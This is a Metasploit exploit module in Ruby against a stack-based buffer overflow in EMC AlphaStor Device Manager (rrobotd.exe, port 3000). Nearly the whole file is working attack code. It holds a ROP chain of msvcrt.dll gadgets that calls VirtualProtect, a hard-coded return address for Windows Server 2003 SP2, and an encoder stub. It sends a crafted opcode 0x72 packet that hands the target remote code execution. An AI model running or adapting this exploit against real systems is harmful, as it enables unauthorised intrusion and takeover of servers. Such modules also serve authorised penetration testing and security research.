require 'msf/core'
 
class MetasploitModule < Msf::Exploit::Remote
    Rank = GreatRanking
 
    include Msf::Exploit::Remote::Tcp
 
    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'EMC AlphaStor Device Manager Opcode 0x72',
            'Description'    => %q{
                This module exploits a stack based buffer overflow vulnerability
                found in EMC Alphastor Device Manager. The overflow is triggered
                when sending a specially crafted packet to the rrobotd.exe service
                listening on port 3000. During the copying of strings to the stack
                an unbounded sprintf() function overwrites the return pointer
                leading to remote code execution.
            },
            'Author'         => [ 'James Fitts' ],
            'License'        => MSF_LICENSE,
            'Version'        => '$Revision: $',
            'References'     =>
                [
                    [ 'URL', '0day' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'thread',
                },
            'Privileged'     => true,
            'Payload'        =>
                {
                    'Space' => 160,
                    'DisableNops' => 'true',
                    'BadChars' => "\x00\x09\x0a\x0d",
                    'StackAdjustment' => -404,
                    'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
                    'Compat'    => 
                    {
                        'ConnectionType'    => '+ws2ord',
                    }
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 
                        'Windows Server 2003 SP2 EN', 
                            { 
                                # pop eax/ retn
                                # msvcrt.dll
                                'Ret' => 0x77bc5d88, 
                            } 
                    ],
                ],
            'DefaultTarget'  => 0,
            'DisclosureDate' => 'Feb 14 2013'))
 
        register_options(
            [
                Opt::RPORT(3000)
            ], self.class )
    end
 
    def exploit
        connect
 
        # msvcrt.dll
        # 96 bytes
        rop = [
            0x77bb2563, # pop eax/ retn 
                        0x77ba1114, # ptr to kernel32!virtualprotect
                        0x77bbf244, # mov eax, dword ptr [eax]/ pop ebp/ retn
                        0xfeedface,
                        0x77bb0c86, # xchg eax, esi/ retn
                        0x77bc9801, # pop ebp/ retn
                        0x77be2265,
                        0x77bb2563, # pop eax/ retn
                        0x03C0990F,
                        0x77bdd441, # sub eax, 3c0940fh/ retn
                        0x77bb48d3, # pop eax/ retn
                        0x77bf21e0,
                        0x77bbf102, # xchg eax, ebx/ add byte ptr [eax], al/ retn
                        0x77bbfc02, # pop ecx/ retn
                        0x77bef001,
                        0x77bd8c04, # pop edi/ retn
                        0x77bd8c05,
                        0x77bb2563, # pop eax/ retn
                        0x03c0984f,
                        0x77bdd441, # sub eax, 3c0940fh/ retn
                        0x77bb8285, # xchg eax, edx/ retn
                        0x77bb2563, # pop eax/ retn
                        0x90909090,
                        0x77be6591, # pushad/ add al, 0efh/ retn
        ].pack("V*")
 
        buf = "\xcc" * 550
        buf[246, 4] = [target.ret].pack('V')
        buf[250, 4] = [0x77bf6f80].pack('V')
        buf[254, rop.length] = rop
        buf[350, payload.encoded.length] = payload.encoded
 
        packet = "\x72#{buf}"
 
        print_status("Trying target %s..." % target.name)
 
        sock.put(packet)
 
        handler
        disconnect
    end
 
end